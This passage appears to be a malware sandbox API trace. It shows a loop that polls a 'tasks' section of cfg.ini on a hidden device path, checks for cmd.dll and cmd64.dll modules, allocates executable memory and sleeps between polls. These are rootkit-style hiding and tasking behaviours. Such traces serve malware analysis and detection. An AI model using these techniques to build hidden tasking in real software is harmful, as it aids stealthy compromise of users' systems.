0xfffffa8003b863b0 [0120.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.189] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.189] IdePortDispatch () returned 0x103 [0120.189] KeWaitForMutexObject () returned 0x0 [0120.189] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.189] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.189] IdePortDispatch () returned 0x103 [0120.189] KeWaitForMutexObject () returned 0x0 [0120.189] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.189] KeLeaveCriticalRegion () [0120.189] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.190] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.190] KeEnterCriticalRegion () [0120.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.190] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.190] KeLeaveCriticalRegion () [0120.190] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.190] KeEnterCriticalRegion () [0120.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.190] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.190] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc21b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.190] KeLeaveCriticalRegion () [0120.190] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.190] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.190] KeEnterCriticalRegion () [0120.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.190] ExFreePoolWithTag (P=0xfffffa8003bcd8c0, Tag=0x0) [0120.190] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.190] KeLeaveCriticalRegion () [0120.190] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.190] ReleaseMutex (hMutex=0xf0) returned 1 [0120.190] Sleep (dwMilliseconds=0x927c0) [0120.204] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.204] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.204] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.204] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.204] KeEnterCriticalRegion () [0120.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.204] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.204] IdePortDispatch () returned 0x103 [0120.204] KeWaitForMutexObject () returned 0x0 [0120.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.204] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.204] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.204] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.204] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.204] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2e30 [0120.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.204] KeLeaveCriticalRegion () [0120.204] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.204] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.204] KeEnterCriticalRegion () [0120.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.204] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.204] KeLeaveCriticalRegion () [0120.204] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.204] KeEnterCriticalRegion () [0120.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.204] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.204] IdePortDispatch () returned 0x103 [0120.205] KeWaitForMutexObject () returned 0x0 [0120.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.205] KeLeaveCriticalRegion () [0120.205] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.205] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.205] KeEnterCriticalRegion () [0120.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.205] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003414000 [0120.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.205] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.205] IdePortDispatch () returned 0x103 [0120.205] KeWaitForMutexObject () returned 0x0 [0120.205] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.205] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.205] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.205] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.205] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.205] IdePortDispatch () returned 0x103 [0120.205] KeWaitForMutexObject () returned 0x0 [0120.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.206] KeLeaveCriticalRegion () [0120.206] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.206] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.206] KeEnterCriticalRegion () [0120.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.206] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.206] KeLeaveCriticalRegion () [0120.206] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.206] KeEnterCriticalRegion () [0120.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.206] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.206] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbce10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.206] KeLeaveCriticalRegion () [0120.206] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.206] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.206] KeEnterCriticalRegion () [0120.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.206] ExFreePoolWithTag (P=0xfffffa8003bc2e30, Tag=0x0) [0120.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.206] KeLeaveCriticalRegion () [0120.206] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.206] ReleaseMutex (hMutex=0xf0) returned 1 [0120.207] Sleep (dwMilliseconds=0x927c0) [0120.221] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.221] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.221] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.221] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.221] KeEnterCriticalRegion () [0120.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.221] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.221] IdePortDispatch () returned 0x103 [0120.221] KeWaitForMutexObject () returned 0x0 [0120.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.221] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.221] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.221] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.221] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.221] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcfb0 [0120.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.221] KeLeaveCriticalRegion () [0120.221] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.221] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.221] KeEnterCriticalRegion () [0120.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.221] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.221] KeLeaveCriticalRegion () [0120.221] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.222] KeEnterCriticalRegion () [0120.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.222] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.222] IdePortDispatch () returned 0x103 [0120.222] KeWaitForMutexObject () returned 0x0 [0120.222] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.222] KeLeaveCriticalRegion () [0120.222] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.222] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.222] KeEnterCriticalRegion () [0120.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.222] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003419000 [0120.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.222] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.222] IdePortDispatch () returned 0x103 [0120.222] KeWaitForMutexObject () returned 0x0 [0120.222] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.222] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.222] IdePortDispatch () returned 0x103 [0120.223] KeWaitForMutexObject () returned 0x0 [0120.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.223] KeLeaveCriticalRegion () [0120.223] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.223] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.223] KeEnterCriticalRegion () [0120.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.223] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.223] KeLeaveCriticalRegion () [0120.223] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.223] KeEnterCriticalRegion () [0120.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.223] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.223] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbce70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.223] KeLeaveCriticalRegion () [0120.223] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.223] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.223] KeEnterCriticalRegion () [0120.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.223] ExFreePoolWithTag (P=0xfffffa8003bbcfb0, Tag=0x0) [0120.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.223] KeLeaveCriticalRegion () [0120.224] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.224] ReleaseMutex (hMutex=0xf0) returned 1 [0120.224] Sleep (dwMilliseconds=0x927c0) [0120.237] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.237] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.237] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.237] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.237] KeEnterCriticalRegion () [0120.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.237] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.237] IdePortDispatch () returned 0x103 [0120.238] KeWaitForMutexObject () returned 0x0 [0120.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.238] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.238] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.238] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.238] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.238] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2e30 [0120.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.238] KeLeaveCriticalRegion () [0120.238] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.238] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.238] KeEnterCriticalRegion () [0120.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.238] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.238] KeLeaveCriticalRegion () [0120.238] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.238] KeEnterCriticalRegion () [0120.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.238] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.238] IdePortDispatch () returned 0x103 [0120.238] KeWaitForMutexObject () returned 0x0 [0120.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.238] KeLeaveCriticalRegion () [0120.238] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.239] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.239] KeEnterCriticalRegion () [0120.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.239] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800341e000 [0120.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.239] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.239] IdePortDispatch () returned 0x103 [0120.239] KeWaitForMutexObject () returned 0x0 [0120.239] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.239] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.239] IdePortDispatch () returned 0x103 [0120.239] KeWaitForMutexObject () returned 0x0 [0120.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.239] KeLeaveCriticalRegion () [0120.239] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.240] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.240] KeEnterCriticalRegion () [0120.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.240] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.240] KeLeaveCriticalRegion () [0120.240] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.240] KeEnterCriticalRegion () [0120.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.240] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.240] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, 